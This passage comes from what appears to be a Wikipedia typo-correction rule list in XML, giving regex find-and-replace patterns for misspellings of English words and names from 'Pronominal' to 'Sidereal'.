<Typo disabled="Pronominal" find="\b([pP])ronomial\b" replace="$1ronominal"/><!--avoid [[wikt:pronomial]]-->
<Typo word="Pronounced" find="\b([pP])rou?nou[cn]+h?(?<!ronounc)(e[ds]?|ing|ments?)\b" replace="$1ronounc$2"/>
<Typo word="Pronouncement" find="\b([pP])rouncement(s)?\b" replace="$1ronouncement$2"/>
<Typo word="Pronunciation" find="\b([pP])ron(?:o(?:nci?ation|un(?:ci?ation|ici?ati?on))|u(?:ciation|n(?:c(?:ation|iaton)|ici?ati?on)))(s)?\b" replace="$1ronunciation$2"/>
<Typo word="Propaganda (1)" find="\b([pP])r(?:apa|opo)gand(as?|i(?:s(?:e[ds]?|ts?)|ze[ds]?))\b" replace="$1ropagand$2"/>
<Typo word="Propaganda (2)" find="\b([pP])ropogand([a-z]+)\b" replace="$1ropagand$2"/>
<Typo word="Propagate" find="\b([pP])ropogat(e[ds]?|i(?:ng|on))\b" replace="$1ropagat$2"/>
<Typo word="proper" find="\bpropper(ly)?\b" replace="proper$1"/><!--avoid surname Propper-->
<Typo word="Prophecy" find="\b([pP])rophac(ies|y)\b" replace="$1rophec$2"/>
<Typo word="Prophesied_" find="\b([pP])rophec(ie(?:d|rs?)|ying)\b" replace="$1rophes$2"/>
<Typo word="(Dis)Proportion" find="\b([dD]isp|[pP])(?:opor|ropo)tion(a(?:l|te)(?:ly)?|s?)\b" replace="$1roportion$2"/>
<Typo word="(Dis)Proportionate" find="\b([dD]isp|[pP])roportiate(ly)?\b" replace="$1roportionate$2"/>
<Typo word="Proposition" find="\b([pP])ropostion(ed|s?)\b" replace="$1roposition$2"/>
<Typo word="Proprietary" find="\b([pP])ropietar(i(?:es|ly)|y)\b" replace="$1roprietar$2"/>
<Typo word="Proselytizing" find="\b([pP])roseletyzing\b" replace="$1roselytizing"/>
<Typo word="Prosecutor" find="\b([pP])rosecuter(ial|s?)\b" replace="$1rosecutor$2"/>
<Typo word="Prospect/Prosper" find="\b([pP])ropse(ct(?:i(?:ng|ve)|us)?|r(?:ed|ity|ous)?)\b" replace="$1rospe$2"/>
<Typo word="Propose" find="\b([pP])ropse([ds])?\b" replace="$1ropose$2"/>
<Typo word="Protagonist" find="\b([pP])rot[ao]ganist(s)?\b" replace="$1rotagonist$2"/>
<Typo word="Protect" find="\b([pP])retect([a-z]*)\b(?<!tect(?:al|o|um))" replace="$1rotect$2"/><!--avoid pretecto, pretectal, & pretectum-->
<Typo word="Protein" find="\b([pP])rotie(ds?|n(?:ase|oid|uria)?s?)\b" replace="$1rotei$2"/>
<Typo word="Protestant_" find="\bprotest[ae]nt(ism|s?)\b" replace="Protestant$1"/>
<Typo word="Protocol" find="\b([pP])rotocal(s)?\b" replace="$1rotocol$2"/>
<Typo word="Protuberance" find="\b([pP])rot(?:ruber[ae]|ubere)n(ces?|t(?:ly)?)\b" replace="$1rotuberan$2"/>
<Typo word="(Ap/Im/Dis/Disap/Re)Prove" find="\b([aA]pp|[dD]is(?:app|p)|[iI]mp|[pP]|[rR]ep)roov(a(?:bl[ey]|l)|e[dnrs]?|ing[a-z]*)\b" replace="$1rov$2"/>
<Typo word="Provide" find="\b([pP])(?:orvid|rovd)(e(?:d|rs?)|ing)\b" replace="$1rovid$2"/>
<Typo word="Provincial" find="\b([pP])rov(?:i(?:ci|ni?ci?)|ni?ci?)(?<!vinci)al(ly)?\b" replace="$1rovincial$2"/>
<Typo word="Provisional" find="\b([pP])rovisonal(ly)?\b" replace="$1rovisional$2"/>
<Typo word="Provocative" find="\b([pP])rovacative(ly)?\b" replace="$1rovocative$2"/>
<Typo word="Proximity" find="\b([pP])roximty\b" replace="$1roximity"/>
<Typo word="Psyche+" find="\b([pP])(?:hych|sy[ch]|ysc)(e(?:del?ics?|s?)|iatr[a-z]+|o(?:ics?|log[a-z]+|tics?))\b" replace="$1sych$2"/>
<Typo word="(Un)Published" find="\b([pP]|[uU]np)ub(?:ish|lis)(able|e(?:[ds]?|rs?)|ing)?\b" replace="$1ublish$2"/>
<Typo word="Puccini" find="\bpucc?ini\b" replace="Puccini"/>
<Typo word="pumpkin" find="\bpumkin\b" replace="pumpkin"/><!--avoid Pumkin-->
<Typo word="Purchase" find="\b([pP])u(?:cha|rch)s(e[ds]?|ing)\b" replace="$1urchas$2"/>
<Typo word="Purport" find="\b([pP])(?:erpor?|urpo)t([a-qt-z]*)\b" replace="$1urport$2"/><!--avoid -rated suffix-->
<Typo word="Purpose" find="\b([pP])(?:rup|upr?)os(e([ds]?|ful|less)(ly)?|ing)\b" replace="$1urpos$2"/>
<Typo word="Purposely" find="\b([pP])urposedly\b" replace="$1urposely"/>
<Typo word="Pursue" find="\b([pP])ersu(a(?:ble|n(?:ce|t))|e(?:[ds]?|rs?)|i(?:ng|ts?))\b" replace="$1ursu$2"/>
</source>
===Q===
<source lang="xml">
<Typo word="(Ac)Quaint" find="\b([aA]cq|[qQ])uiant(ance[a-z]*|e(?:d(?:ly)?|st)|ing|ly|s?)\b" replace="$1uaint$2"/>
<Typo word="Qualify" find="\b([dD]isq|[qQ]|[uU]nq)uai?l+[ai]?f(?<!alif)(i(?:cations?|e[ds])|y(?:ing)?)\b" replace="$1ualif$2"/>
<Typo word="Qua-...-y" find="\b([dD]isq|[eE]q|[qQ]|[uU]nq)au(l|nt)[ai](f(?:i(?:cations?|e[ds])|y(?:ing)?)|t(?:ies|y))\b" replace="$1ua$2i$3"/>
<Typo word="Quantity" find="\b([qQ])uan(?:it(?:it)?|t(?:at|iti))(ies|y)\b" replace="$1uantit$2"/>
<Typo word="Quarantine" find="\b([qQ])uar(?:anta|ent)ine([ds])?\b" replace="$1uarantine$2"/>
<Typo word="Quarter_" find="\b([qQ])uater(?!cent|ma(?:in|ss)|n)([a-z]*)\b" replace="$1uarter$2"/>
<Typo disabled="Québécois" find="\bQu(?:eb[eé]|[éè]be)cois(es?)?\b" replace="Québécois$1"/>
<Typo word="Question" find="\b([qQ])ue(?:s(?:i(?:on|ton)|t(?:iom|oin))|tion)(e(?:d|rs?)|ing(?:ly)?|s?)\b" replace="$1uestion$2"/>
<Typo word="Questionable" find="\b([qQ])uest(?:ionn|on)ab([il][a-z]+)\b" replace="$1uestionab$2"/>
<Typo word="Questionnaire" find="\b([qQ])uestion+air(s)?\b" replace="$1uestionnaire$2"/>
<Typo word="Quintessential" find="\b([qQ])uinessential(ly)?\b" replace="$1uintessential$2"/>
<Typo word="Quizzes" find="\b([qQ])uize([ds])\b" replace="$1uizze$2"/>
</source>
===R===
<source lang="xml">
<Typo word="Rabbinical" find="\b([rR])abin+ical(ly)?\b" replace="$1abbinical$2"/>
<Typo word="Radioactive" find="\b([rR])adiactiv([a-z]+)\b" replace="$1adioactiv$2"/>
<Typo word="Railroad" find="\b([rR])ail(?:oa|rao)d(e(?:d|rs?)|ing|s?)\b" replace="$1ailroad$2"/>
<Typo word="Rapid" find="\b([rR])epid(s)?\b" replace="$1apid$2"/>
<Typo word="Raspberry" find="\b([rR])as(?:ber+|[bp]+er|per+)(ies|y)\b" replace="$1aspberr$2"/>
<Typo word="Ratify" find="\b([rR])adif(i(?:cation|e[ds])|y)\b" replace="$1atif$2"/>
<Typo word="Raucous" find="\b([rR])a(?:ca|uc)us(ly)?\b" replace="$1aucous$2"/>
<Typo word="Reach" find="\b([rR])e(?:ac|ch)(e[ds]|ing)\b" replace="$1each$2"/>
<Typo word="real" find="\brela\b" replace="real"/><!--avoid surname Rela-->
<Typo word="Realistic" find="\b([rR])ealsit(ic[a-z]*|s?)\b" replace="$1ealist$2"/>
<Typo word="Realized" find="\b([rR])eliz(ation|e[ds]?|ing)\b" replace="$1ealiz$2"/>
<Typo word="Really" find="\b([rR])(?:ael|el?a)ly\b" replace="$1eally"/>
<Typo word="Rebell(ed|i(?:ng|on))" find="(?<!\b[lL]a\s{1,9})\b([rR])eb(?:bel?|[el])l(ed|ing|ion(?!\s+(?:a\b|del?\b|en\b))s?|ious[a-z]*)\b" replace="$1ebell$2"/><!--avoid Spanish word rebelion(sic) by looking for Spanish articles-->
<Typo word="Rebelión (1)" find="(?<=\b[lL]a\s{1,9})\b([rR])ebelion\b" replace="$1ebelión"/>
<Typo word="Rebelión (2)" find="\b([rR])ebelion(?=\s+(?:a\b|del?\b|en\b))\b" replace="$1ebelión"/>
<Typo word="Rebound" find="\b([rR])ebounce\b" replace="$1ebound"/>
<Typo word="Recall" find="\b([rR])eacll(ed|ing|s?)\b" replace="$1ecall$2"/>
<Typo word="Recipe" find="\b([rR])ecipie(s)?\b" replace="$1ecipe$2"/>
<Typo word="Recognise" find="\b([rR])eco[gn]i([sz](?:abl[ey]|e[ds]?|ing)|tions?)\b" replace="$1ecogni$2"/>
<Typo word="Recommend" find="\b([rR])e(?:c(?:c[ao]m?men|om(?:en?|m(?:an|e)))|ommen)d(a(?:ble|t[a-z]+)|e(?:d|rs?)|ing|s?)\b" replace="$1ecommend$2"/>
<Typo word="Reconciliation" find="\b([rR])econ[cs]il(?:li)?at(ions?|ory)\b" replace="$1econciliat$2"/>
<Typo word="Reconnaissance" find="\b([rR])ec(?:c+on(?:[aeiou]+s+[aei]+|n+(?:[aeiou]+s+[aei]+|n[aeiou]+s+[aei]+|s+[aei]+)|s+[aei]+)|on(?:[aeiou]+s+[aei]+|n+(?:a(?:a(?:ss+[aei]+ess+[aei]+oss+[aei]+uss+[aei]+|[aeiou]*s(?:[aei]+|s(?:ai|[ei]|s+[aei]+)))|[eiou][aeiou]*s(?:[aei]+|s(?:ai|[ei]|s+[aei]+))|s+[aei]+)|[eiou](?:[aeiou]+s(?:[aei]+|s(?:ai|[ei]|s+[aei]+))|[aeio]s+[aei]+|s+[aei]+|us+[aei]+)|n[aeiou]+s+[aei]+|s+[aei]+)|s+[aei]+))nce(s)?\b" replace="$1econnaissance$2"/>
<Typo word="Record" find="\b([rR])ecrod(e(?:d|rs?)|ings?|s?)\b" replace="$1ecord$2"/>
<Typo word="Recreate" find="\b([rR])ecrat(e[ds]?|ion(?:al(?:ly)?)?|ing)\b" replace="$1ecreat$2"/>
<Typo word="Recruit" find="\b([rR])ec(?:ru|ui)t(e(?:d|rs?)|ing|ments?|s?)\b" replace="$1ecruit$2"/>
<Typo word="Recurr(ed/ing)" find="\b([rR])ea?c(?:cur?|u)r(e(?:d|n(?:ces?|t(?:ly)?))|ing)\b" replace="$1ecurr$2"/><!--avoid reoccuring-->
<Typo word="Redeem" find="\b([rR])eedem(ed|ing|s?)\b" replace="$1edeem$2"/>
<Typo word="Refer" find="\b([rR])ef[fr]er(e(?:e[ds]?|n(?:[cs](?:e[ds]?|ing)|t(?:ial|s?)))|s?)\b" replace="$1efer$2"/>
<Typo word="Referendum" find="\b([rR])efr?edendum\b" replace="$1eferendum"/>
<Typo word="Referred" find="\b([rR])ef(?:e|fe|rer?)r(als?|ed|ing)\b" replace="$1eferr$2"/>
<Typo word="Referring" find="\b([rR])efr?eriang\b" replace="$1eferring"/>
<Typo word="Refers" find="\b([rR])efr?(?:er|re)rs\b" replace="$1efers"/>
<Typo word="Refrigerate" find="\b([rR])efridgerat(e[ds]?|i(?:ng|on)|ors?)\b" replace="$1efrigerat$2"/>
<Typo word="Refusal" find="\b([rR])efusla(s)?\b" replace="$1efusal$2"/>
<Typo word="Regard" find="\b([rR])eguard(ing|less|s)\b" replace="$1egard$2"/>
<Typo word="Regardless" find="\birr?egu?ardless\b" replace="regardless"/>
<Typo word="Regardless" find="\bIrr?egu?ardless\b" replace="Regardless"/>
<Typo word="Regards" find="\b([rR])e(?:agrd|garde)s\b" replace="$1egards"/>
<Typo word="Regular" find="\b([rR])egluar(ity|ly)?\b" replace="$1egular$2"/>
<Typo word="(Ir)Regularly" find="\b([iI]rr|[rR])egu(?:arly|lar(?:ily|y))\b" replace="$1egularly"/>
<Typo word="Regulation" find="\b([rR])egulaion(s)?\b" replace="$1egulation$2"/>
<Typo word="Regulator" find="\b([rR])egulaotr(s)?\b" replace="$1egulator$2"/>
<Typo word="Rehearse" find="\b([rR])ehers(als?|e[ds]?|ing)\b" replace="$1ehears$2"/>
<Typo word="Reign" find="\b([rR])eigin(ed|ing|s?)\b" replace="$1eign$2"/>
<Typo word="Reincarnation" find="\b([rR])eicarnat(e[ds]?|i(?:ng|on))\b" replace="$1eincarnat$2"/>
<Typo word="Reinforce" find="\b([rR])eenforc(e[ds]|ing|ments?)\b" replace="$1einforc$2"/>
<Typo word="(Re)iterate" find="\b([iI]|[rR]ei)tterat(e[ds]?|i(?:ng|ons?|ve(?:ly)?)|or)\b" replace="$1terat$2"/>
<Typo word="Rejuvenate" find="\b([rR])ejuv[ai]nat(e[ds]?|i(?:ng|on)|ors?)\b" replace="$1ejuvenat$2"/>
<Typo word="Relate" find="\b([rR])eala?t(e[ds]?|ion(?:al|s?|ships?)|iv[ei][a-z]*)\b" replace="$1elat$2"/>
<Typo word="Relation" find="\b([rR])elatiopn(s(?:hips?)?)?\b" replace="$1elation$2"/>
<Typo word="Relatively" find="\b([rR])ea?lita?ve(ly|s?)\b" replace="$1elative$2"/>
<Typo word="Release (2)" find="\b([rR])el[ae]se([ds])?\b" replace="$1elease$2"/>
<Typo word="Release (1)" find="\b([rR])e(?:al[ae]a?|la?e)s(e[ds]?|ing)\b" replace="$1eleas$2"/>
<Typo word="(Ir)Relevant" find="\b([iI]rr|[rR])el(?:av[ae]|evea?|l+[ae]v[ae])n(c[ey]|t(?:ly)?)\b" replace="$1elevan$2"/>
<Typo word="(Un)Reliability" find="\b([rR]|[uU]nr)e(?:alibil|liabli)ty\b" replace="$1eliability"/>
<Typo word="Relief" find="\b([rR])elei(fs?|v(?:e(?:[ds]?|rs?)|ing))\b" replace="$1elie$2"/>
<Typo word="Religion" find="\b([rR])el(?:gio|ig(?:eo|ioi|o))(n(?:is[mt]|less|s?)|s(?:e|ity)|us[a-z]*)\b" replace="$1eligio$2"/>
<Typo word="Religious" find="\b([rR])eligios(ly|ness)?\b" replace="$1eligious$2"/>
<Typo word="Relinquish" find="\b([rR])el(?:enqui|i(?:nque?|qui))sh(e[ds]|ing|ment)?\b" replace="$1elinquish$2"/>
<Typo word="Remain" find="(?!\bRemian\b)\b([rR])e(?:ama?i|m(?:ai|ia))nd?(?<![rR]emain)(ders?|ed|ing|s?)\b" replace="$1emain$2"/><!--avoid proper noun Remian-->
<Typo word="Remaining" find="\b([rR])ema(?:ing(?:ing)?|ning)\b" replace="$1emaining"/>
<Typo word="Remember" find="\b([rR])emeber(ed|ing|s?)\b" replace="$1emember$2"/>
<Typo word="Reminisce" find="\b([rR])em(?:enis?|in(?:es?|i|si?))c(e(?:[ds]?|n[ct][a-z]*)|ing)\b" replace="$1eminisc$2"/>
<Typo word="Remnant" find="\b([rR])em[ei]n[ae]nt(s)?\b" replace="$1emnant$2"/>
<Typo word="René Descartes" find="\bRene\s+Descartes\b" replace="René Descartes"/>
<Typo word="Rendezvous" find="\b([rR])ende[vz]ous\b" replace="$1endezvous"/>
<Typo word="Renewal" find="\b([rR])enewl(s)?\b" replace="$1enewal$2"/>
<Typo word="Renown" find="\b([rR])eknown(ed)?\b" replace="$1enown$2"/>
<Typo word="Renters" find="\b([rR])entor(s)?\b" replace="$1enter$2"/>
<Typo word="Reorganization" find="\b([rR])eorganision\b" replace="$1eorganization"/>
<Typo word="Repeated" find="\b([rR])epetead(ly)?\b" replace="$1epeated$2"/>
<Typo word="(Un)Repentant" find="\b([rR]|[uU]nr)epe(?:nte|t[ae])n(ce|t(?:ly)?)\b" replace="$1epentan$2"/>
<Typo word="Repertoire" find="\b([rR])ep[eir]to(?:ires?|r(?:i(?:al|es)|y))\b" replace="$1eperto$2"/>
<Typo word="Replacement" find="\b([rR])elpacement(s)?\b" replace="$1eplacement$2"/>
<Typo word="Reported" find="\b([rR])eportad(ly)?\b" replace="$1eported$2"/>
<Typo word="Represent" find="\b([rR])e(?:p(?:es+[ae]?[ent]+|p[pr]*es+[ae]?[ent]+|r(?:es+[ae]?[ent]+|[pr]+es+[ae]?[ent]+|sent))|r[pr]*es+[ae]?[ent]+)(?<!epres(?:ent|se))(ati(?:on(?:al|s?)|ves?)|ed|ing|s?)\b" replace="$1epresent$2"/>
<Typo word="Representation" find="\b([rR])epres(?:anta|en)ti(on|ves?)\b" replace="$1epresentati$2"/>
<Typo word="Representative" find="\b([rR])eprese?[nt][aeint]*ve?(?<!entative)(s)?\b" replace="$1epresentative$2"/>
<Typo word="Reprimand" find="\b([rR])epr[ae]mand(ed|ings?|s?)\b" replace="$1eprimand$2"/>
<Typo word="Require" find="\b([rR])(?:e(?:cqui?re?|qu(?:ie?r|re?))|quire?)([ds]?|ments?)\b" replace="$1equire$2"/>
<Typo word="Requiring" find="\b([rR])(?:e(?:cqui?|qu)|qui)re?ing\b" replace="$1equiring"/>
<Typo word="Rescind" find="\b([rR])e[cs]ind(ed|ing|s?)" replace="$1escind$2"/>
<Typo word="Resemble" find="\b([rR])es(?:emb|sembl)(ances?|e(?:[ds]?|nces?)|ing)\b" replace="$1esembl$2"/>
<Typo word="Reservoir" find="\b([rR])esevoir(s)?\b" replace="$1eservoir$2"/>
<Typo word="Reside" find="\b([rR])ecid(e(?:[ds]?|nts?)|ing)\b" replace="$1esid$2"/>
<Typo word="Resolute" find="\b([rR])esollut([a-z]+)\b" replace="$1esolut$2"/>
<Typo word="Respect" find="\b([rR])epsect([a-z]*)\b" replace="$1espect$2"/>
<Typo word="Response (1)" find="\b([rR])e(?:pons|spo(?:ms|nc))(es?|ive(?:ly)?|ib[a-z]+)\b" replace="$1espons$2"/>
<Typo word="Response (2)" find="\b([rR])e(?:pons|spo(?:ms|n[cs]))\b" replace="$1esponse"/>
<Typo word="(Ir)Responsibility" find="\b([iI]rr|[rR])espon(?:is?bili|nsibili|s[ae]?bili|sib(?:il|li))t(?:i?t?(ies)|(e)(i)(s)|[ei]?t?(y))\b" replace="$1esponsibilit$2$4$3$5$6"/>
<Typo word="(Ir)Responsible" find="\b([iI]rr|[rR])espon(?:isb|s(?:[ae]b|ibi))l([ey])\b" replace="$1esponsibl$2"/>
<Typo word="Restaurant" find="\b([rR])e(?:s(?:au|t(?:[ae][au]?|u(?:[aeu][au]?)?)?)|tau)ru?a?e?u?n?t(s)?(?<!estaurants?)(?<=\b[Ra-z]{1,10}[nu][a-z]{1,10})\b" replace="$1estaurant$2"/>
<Typo word="Restaurateur" find="\b([rR])est(?:arau?|era)nt[eo]u?r(s)?\b" replace="$1estaurateur$2"/><!--avoid [[wikt:restauranteur]]-->
<Typo word="Result" find="\b([rR])eult(ant|ed|ing|s?)\b" replace="$1esult$2"/>
<Typo word="Résumé" find="\b([rR])(?:esumé|ésume)(s)?\b" replace="$1ésumé$2"/><!--avoid "resume"-->
<Typo word="Resurgence" find="\b([rR])esurgan(ce|t)\b" replace="$1esurgen$2"/>
<Typo word="Resurrect" find="\b([rR])esss?urect(ed|i(?:ng|on)|s?)\b" replace="$1esurrect$2"/>
<Typo word="Resuscitate" find="\b([rR])es(?:cu(?:c[cs]?|s(?:c?|s+)?)|su(?:c[cs]?|s(?:c?|s+)?)|u(?:c[cs]?|s+))ita(t(?:e[ds]?|i(?:ng|ons?|ve)|ors?)|ble|nts?)\b" replace="$1esuscita$2"/>
<Typo word="Retaliate" find="\b([rR])etalitate([ds])?\b" replace="$1etaliate$2"/>
<Typo word="Retaliation" find="\b([rR])etalitation\b" replace="$1etaliation"/>
<Typo word="Retrieve" find="\b([rR])et(?:ire|rei)v(als?|e[ds]|ing)\b" replace="$1etriev$2"/>
<Typo word="Returned" find="\b([rR])etu(?:nre|rn)d\b" replace="$1eturned"/>
<Typo word="Reversal" find="\b([rR])everal(s)?\b" replace="$1eversal$2"/>
<Typo word="(R)Evolutionary" find="\b([eE]|[rR]e)volutiona[ry]\b" replace="$1volutionary"/>
<Typo word="Rewrite" find="\b([rR])ewriet(s)?\b" replace="$1ewrite$2"/>
<Typo word="Rewritten" find="\b([rR])ewitten\b" replace="$1ewritten"/>
<Typo word="Reykjavik" find="\b[rR]e(?:jkj?|kj)avik\b" replace="Reykjavik"/>
<Typo word="Rhinoceros" find="\b([rR])hinocerous(es)?\b" replace="$1hinoceros$2"/>
<Typo word="Rhythm" find="\b([rR])(?:h(?:tyh|yt(?:h[eiy])?)|yth[eiy]?)m(i(?:c[a-z]*|sts?)|s?)\b" replace="$1hythm$2"/>
<Typo word="Rhythmic" find="\b([rR])hytmic(al(?:ly)?)?\b" replace="$1hythmic$2"/>
<Typo word="Ricochet" find="\b([rR])ichochet(ed|s?)\b" replace="$1icochet$2"/>
<Typo word="Ridiculous" find="\b([rR])edic+ulous([a-z]*)\b" replace="$1idiculous$2"/>
<Typo word="Rigueur" find="\b([rR])igeur\b" replace="$1igueur"/>
<Typo word="Rockefeller" find="\b[rR]ockerfeller\b" replace="Rockefeller"/>
<Typo word="Rococo" find="\b([rR])ococco\b" replace="$1ococo"/>
<Typo word="Roommate" find="\b([rR])oomate(s)?\b" replace="$1oommate$2"/>
<Typo word="Rose" find="\b([rR])ised\b" replace="$1ose"/>
<Typo word="Rudimentary" find="\b([rR])ud(?:[ae]menta|imentat)r(i[a-z]+|y)\b" replace="$1udimentar$2"/>
<Typo word="Rule" find="\b([rR])ulle([ds])\b" replace="$1ule$2"/>
<Typo word="Rumors" find="\b([rR])umer(ed|s)\b" replace="$1umor$2"/>
<Typo word="Running" find="\b([rR])un(?:in|nun)g\b" replace="$1unning"/>
<Typo word="Russian" find="\b([rR])ussi(?:na|on)(s)?\b" replace="$1ussian$2"/>
</source>
===S===
<source lang="xml">
<Typo word="Sabotage" find="\b([sS])abat[ao]g(e[ds]?|ing)\b" replace="$1abotag$2"/>
<Typo word="Sacrifice" find="\b([sS])acr[ae]fic(e[ds]?|i(?:al(?:ly)?|ng))\b" replace="$1acrific$2"/>
<Typo word="Sadducee" find="\b[sS]ad(?:d+uc|uc?)ce(an|e(?:ism|s?))\b" replace="Sadduce$1"/>
<Typo word="Safety" find="\bsafte?y\b" replace="safety"/><!--avoid surname Safty-->
<Typo word="Salvador Dalí" find="\bSalvador\s+Dali\b" replace="Salvador Dalí"/>
<Typo word="Same" find="\b([sS])mae\b" replace="$1ame"/>
<Typo word="Sanction" find="\b([sS])an(?:ction|tion?)n(ed|ing|s?)\b" replace="$1anction$2"/>
<Typo word="Sandwich" find="\b([sS])andw(?:hi|it)ch(e[ds]|ing)?\b" replace="$1andwich$2"/>
<Typo word="Sanskrit" find="\b([sS])anksrit?\b" replace="$1anskrit"/>
<Typo word="Satellite" find="\b([sS])at(?:al?|e|il?|t[aei]l?)lite(s)?\b" replace="$1atellite$2"/>
<Typo word="Satirical" find="\b([sS])atric(al(?:ly)?)?\b" replace="$1atiric$2"/>
<Typo word="Satisfy" find="\b([dD]iss|[sS]|[uU]ns)at(?:i(?:si)?|si)f(act(?:ion|or(?:i(?:ly|ness)|y))|ie[ds]|y(?:ing)?)\b" replace="$1atisf$2"/>
<Typo word="Saudi Arabia" find="\b[sS](?:audia|uadi+)\s*[aA]rabia(n)?\b" replace="Saudi Arabia$1"/>
<Typo word="Sauté" find="\b([sS])autt([eé](?:ed|s?))\b" replace="$1aut$2"/><!--avoid [[wikt:saute]]-->
<Typo word="Saxon" find="\bsaxon(ism|[sy]?)\b" replace="Saxon$1"/>
<Typo word="Saxophone" find="\b([sS])axaphon(es?|ists?)\b" replace="$1axophon$2"/>
<Typo word="Says" find="\b([sS])(?:asy|yas)\b" replace="$1ays"/>
<Typo word="Scenario" find="\b(?!Senario\b)([sS])(?:cene|en[ae])rio(s)?\b" replace="$1cenario$2"/><!--avoid proper noun "Senario"-->
<Typo word="Schedule" find="\b([sS])(?:c(?:edu[ae]?|hedu[ae])|hedu[ae]?)l(e[ds]?|ing)\b" replace="$1chedul$2"/>
<Typo word="Scholarship" find="\b([sS])cho(?:lar|olars)hip(s)?\b" replace="$1cholarship$2"/>
<Typo word="Scholastic" find="\b([sS])choolastic(ally|s?)\b" replace="$1cholastic$2"/>
<Typo word="Schrödinger" find="\b[sS]chrodingg?er([a-z]*)\b" replace="Schrödinger$1"/>
<Typo word="Science" find="\b([sS])cine?ce\b" replace="$1cience"/>
<Typo word="Scientific" find="\b([sS])cient(?:fi|if)c(ally|ly)?\b" replace="$1cientific$2"/>
<Typo word="(Un)Screen" find="\b([sS]|[uU]ns)cren([a-z]*)\b" replace="$1creen$2"/>
<Typo word="(Screen/Song)writer" find="\b([sS](?:creen|ong))(?:nwri|wrigh|\s+wri|\-wri)ter(s)?\b" replace="$1writer$2"/>
<Typo word="Script" find="\b([sS])cirpt([a-z]*)\b" replace="$1cript$2"/>
<Typo word="Scroll" find="\b([sS])coll(s)?\b" replace="$1croll$2"/>
<Typo word="(Re)Search" find="\b([rR]es|[sS])each(e[dr]?s?|ing)?\b" replace="$1earch$2"/>
<Typo word="Second" find="\b([sS])eco(?:dn?|nt)(ary|ly|s?)\b" replace="$1econd$2"/>
<Typo word="Secretary" find="\b([sS])(?:cretar|ecretart)(i(?:a[lt]e?s?|es)|y)\b" replace="$1ecretar$2"/><!--see also "-etary"-->
<Typo word="(In)Security" find="\b([iI]ns|[sS])ec(?:rui|ui?re?)t(ies|y)\b" replace="$1ecurit$2"/>
<Typo word="Seeing" find="\b([sS])eing\b" replace="$1eeing"/>
<Typo word="Segment" find="\b([sS])egement(ations?|ed|ing|s?)\b" replace="$1egment$2"/>
<Typo word="Sei(z/n)e" find="\b([sS])ie(n(?:e(?:[ds]?|rs?)|ing)|z(?:e[ds]?|ing|ures?))\b" replace="$1ei$2"/>
<Typo word="-self" find="\b([hH](?:er|i[ms])|[iI]t|[mM]y|[oO](?:ne|ur)|[tT]he(?:ir|[my])|[yY]our)(?:esl|sle?)(f|ves)\b" replace="$1sel$2"/>
<Typo word="(Re)Semblance" find="\b([rR]es|[sS])emb(?:el[ae]|le)nce(s)?\b" replace="$1emblance$2"/>
<Typo word="senior advisor" find="\b([aA])\s+Senior\s+[aA]dvisor\b" replace="$1 senior advisor"/>
<Typo word="Sense_" find="\b([sS])en[cs]e?(?<!ense)([ds]|less(?:ly|ness)?)\b" replace="$1ense$2"/>
<Typo word="(In/…)Sensitive" find="\b([hH]ypers|[iI]ns|[nN]ons|[oO]vers|[pP]hotos|[sS](?:upers)?|[uU]ns)ensa?tiv(e(?:ly)?|ity)\b" replace="$1ensitiv$2"/>
<Typo word="Sentence" find="(?!\bSentance\b)\b([sS])entanc(e(?:[ds]?|rs?)|ings?)\b" replace="$1entenc$2"/><!--avoid surname Sentance-->
<Typo word="(In)Separable" find="\b([iI]ns|[sS])ep(?:area?|er[ae]|ra)(bl[ey]|t(?:e(?:[ds]?|ly)|i(?:ngs?|ons?|s[mt]s?)))\b" replace="$1epara$2"/>
<Typo word="Sepulcher" find="\b([sS])epulch?ure\b" replace="$1epulcher"/>
<Typo word="Sergeant" find="\bsarg(?:a|ea?)nt\b" replace="sergeant"/><!--avoid surname Sargeant-->
<Typo word="Service" find="\b([sS])evic(e[ds]?|ing)\b" replace="$1ervic$2"/>
<Typo word="Settle" find="\b([rR]es|[sS]|[uU]ns)etl(e(?:d?|ments?|rs?)|ing)\b" replace="$1ettl$2"/>
<Typo word="Settlement" find="\b([sS])ett(?:ele|l)ment(s)?\b" replace="$1ettlement$2"/>
<Typo word="Seventeen" find="\b([sS])eve(?:nt|te)en(s?|ths?)\b" replace="$1eventeen$2"/>
<Typo word="Sevent(h/y)" find="\b([sS])evet(hs?|ie(?:s?|ths?)|y)\b" replace="$1event$2"/>
<Typo word="Sever(e/ely/ity/al/ance)" find="\b([sS])erver(a(?:l[a-z]*|nce)|e(?:ly)?|ity)\b" replace="$1ever$2"/>
<Typo word="Several" find="\b([sS])e(?:rvera|v(?:ar(?:a|[ei]a?)|er[ei]a?|ir(?:a|[ei]a?)))l\b" replace="$1everal"/>
<Typo word="(Over)Shadow" find="\b([oO]vers|[sS])hadd+ow(ed|ing|s?)\b(?<!\bShaddow)" replace="$1hadow$2"/><!--avoid surname Shaddow-->
<Typo word="she" find="\bseh\b(?<!-seh)" replace="she"/><!--not with dash before-->
<Typo word="Shepherd" find="(?!\bSheperd\b)\b([sS])heperd(ed|ing|s?)\b" replace="$1hepherd$2"/><!--avoid surname Sheperd-->
<Typo word="Sheriff (2)" find="\b(Deputy\s+S|High\s+S|s)herriff(s)?\b" replace="$1heriff$2"/><!--avoid surname Sherriff-->
<Typo word="Sheriff" find="\b([sS])herr?if(s)?\b(?<!\bSherif)" replace="$1heriff$2"/><!--avoid surname Sherif-->
<Typo word="Shield_" find="\bsheild(ed|ing|s?)\b" replace="shield$1"/><!--avoid surname Sheilds-->
<Typo word="Shipped" find="\b(?!Shiping)([sS])hip(ed|ing)\b" replace="$1hipp$2"/>
<Typo word="Shkodër" find="\bShkoder\b" replace="Shkodër"/>
<Typo word="Shortly" find="\b([sS])horly\b" replace="$1hortly"/>
<Typo word="Should" find="\b([sS])houdl\b" replace="$1hould"/>
<Typo word="Shouldn't" find="\b([sS])houd(?:ln[´ˈ׳᾿‘’′Ꞌꞌ`']|en)t\b" replace="$1houldn't"/>
<Typo word="Shrewd" find="\b([sS])hrewed(ly)?\b" replace="$1hrewd$2"/>
<Typo word="Shriek" find="\b([sS])hre[ai]k(ed|ing|s?)\b" replace="$1hriek$2"/>
<Typo word="Shrunk" find="\b([sS])hrinked\b" replace="$1hrunk"/>
<Typo word="(S/N)ibling" find="\b([nsNS])i(?:b[aei]l|lbl?)ing(s)?\b" replace="$1ibling$2"/>
<Typo word="Sidereal" find="\b([sS])edereal\b" replace="$1idereal"/>
